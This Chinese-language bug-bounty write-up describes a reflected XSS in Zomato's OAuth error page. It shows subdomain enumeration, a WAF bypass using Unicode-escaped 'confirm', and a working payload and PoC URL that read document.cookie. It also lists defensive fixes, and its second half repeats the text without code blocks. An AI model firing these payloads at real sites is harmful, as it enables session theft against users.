挖洞经验 | 印度餐饮点评网Zomato的Reflected XSS漏洞
字数 1211 2025-08-18 11:37:53

Zomato反射型XSS漏洞分析与利用教学文档

漏洞概述

本文档详细分析印度餐饮点评网站Zomato存在的一个反射型跨站脚本(XSS)漏洞,该漏洞位于其OAuth 2.0授权流程中,最终获得了$250的漏洞赏金。

漏洞发现过程

1. 目标发现

  • 使用WolframAlpha进行子域名枚举:https://www.wolframalpha.com/
  • 搜索zomato.com后发现多个子域名
  • 选择访问量最低的子域名secretx.zomato.com(日均访问量仅400)

2. 初步分析

  • 发现"Sign in with Zomato"按钮
  • 点击后跳转至授权流程,显示"SecretX Client wants to access you Zomato Account"提示
  • 分析页面源码发现关键OAuth 2.0授权URL

3. 关键授权URL

https://auth2.zomato.com/oauth2/auth?
response_type=code&
client_id=80b39918-90be-49d2-ac52-4a8b1a25bcf1&
redirect_uri=https%3A%2F%2Fsecretx.zomato.com%2Fuser%2Foauth2%2Fredirect_uri&
state=2BHoBnVFFKP29L6SerHgEb7OCnBDPO

4. 漏洞测试

  • 在URL参数中填充测试值(如error=xss
  • 发现参数值直接反映在响应页面中
  • 确认<>未被过滤

漏洞利用

1. 初始Payload尝试

<marquee loop=1 width=0 onfinish=alert`1`>XSS</marquee>
  • 发现alert(), confirm(), prompt()被WAF过滤
  • 尝试URL编码Payload未成功

2. WAF绕过技术

参考Somdev的XSS Cheatsheet:
https://github.com/s0md3v/AwesomeXSS

使用Unicode编码绕过:

co\u006efirm()

3. 最终有效Payload

<marquee loop=1 width=0 onfinish=co\u006efirm(document.cookie)>XSS</marquee>

URL编码版本:

<marquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E

漏洞PoC

存在漏洞的URL:

https://auth2.zomato.com/oauth2/fallbacks/error?error=xss&error_description=xss&error_hint=xss

存在漏洞的参数:所有参数

完整PoC URL:

https://auth2.zomato.com/oauth2/fallbacks/error?
error=xss&
error_description=xsssy&
error_hint=%3Cmarquee%20loop%3d1%20width%3d0%20onfinish%3dco\u006efirm(document.cookie)%3EXSS%3C%2fmarquee%3E

漏洞原因

  • 漏洞存在于Zomato使用的开放授权验证提供商Hydra中
  • 未对用户输入进行适当过滤和转义
  • WAF规则可被Unicode编码绕过

防御措施

  1. 输入验证与过滤

    • 对所有用户输入进行严格验证
    • 过滤或转义特殊字符(如<, >, ", '等)
  2. 输出编码

    • 对所有动态输出内容进行HTML编码
  3. WAF增强

    • 检测Unicode编码的JavaScript函数
    • 更新规则以防止此类绕过
  4. CSP策略

    • 实施内容安全策略(CSP)限制内联脚本执行
  5. OAuth安全

    • 确保OAuth错误处理页面不反射用户输入
    • 对redirect_uri进行严格验证

学习要点

  1. 子域名枚举是发现潜在漏洞目标的有效方法
  2. 低访问量的子域名可能包含较少测试的安全漏洞
  3. WAF绕过需要耐心和多种技术尝试
  4. Unicode编码是绕过JavaScript关键字过滤的有效技术
  5. 错误处理页面是XSS漏洞的常见来源

参考资源

  1. [Mastering Modern Web Penetration Testing] - 渗透测试技术书籍
  2. [AwesomeXSS Cheatsheet] - XSS绕过技术集合
  3. OAuth 2.0安全最佳实践文档
  4. Web应用防火墙(WAF)绕过技术研究
Zomato反射型XSS漏洞分析与利用教学文档 漏洞概述 本文档详细分析印度餐饮点评网站Zomato存在的一个反射型跨站脚本(XSS)漏洞,该漏洞位于其OAuth 2.0授权流程中,最终获得了$250的漏洞赏金。 漏洞发现过程 1. 目标发现 使用WolframAlpha进行子域名枚举: https://www.wolframalpha.com/ 搜索 zomato.com 后发现多个子域名 选择访问量最低的子域名 secretx.zomato.com (日均访问量仅400) 2. 初步分析 发现"Sign in with Zomato"按钮 点击后跳转至授权流程,显示"SecretX Client wants to access you Zomato Account"提示 分析页面源码发现关键OAuth 2.0授权URL 3. 关键授权URL 4. 漏洞测试 在URL参数中填充测试值(如 error=xss ) 发现参数值直接反映在响应页面中 确认 < 和 > 未被过滤 漏洞利用 1. 初始Payload尝试 发现 alert() , confirm() , prompt() 被WAF过滤 尝试URL编码Payload未成功 2. WAF绕过技术 参考Somdev的XSS Cheatsheet: https://github.com/s0md3v/AwesomeXSS 使用Unicode编码绕过: 3. 最终有效Payload URL编码版本: 漏洞PoC 存在漏洞的URL: 存在漏洞的参数:所有参数 完整PoC URL: 漏洞原因 漏洞存在于Zomato使用的开放授权验证提供商Hydra中 未对用户输入进行适当过滤和转义 WAF规则可被Unicode编码绕过 防御措施 输入验证与过滤 : 对所有用户输入进行严格验证 过滤或转义特殊字符(如 < , > , " , ' 等) 输出编码 : 对所有动态输出内容进行HTML编码 WAF增强 : 检测Unicode编码的JavaScript函数 更新规则以防止此类绕过 CSP策略 : 实施内容安全策略(CSP)限制内联脚本执行 OAuth安全 : 确保OAuth错误处理页面不反射用户输入 对redirect_ uri进行严格验证 学习要点 子域名枚举是发现潜在漏洞目标的有效方法 低访问量的子域名可能包含较少测试的安全漏洞 WAF绕过需要耐心和多种技术尝试 Unicode编码是绕过JavaScript关键字过滤的有效技术 错误处理页面是XSS漏洞的常见来源 参考资源 [ Mastering Modern Web Penetration Testing ] - 渗透测试技术书籍 [ AwesomeXSS Cheatsheet ] - XSS绕过技术集合 OAuth 2.0安全最佳实践文档 Web应用防火墙(WAF)绕过技术研究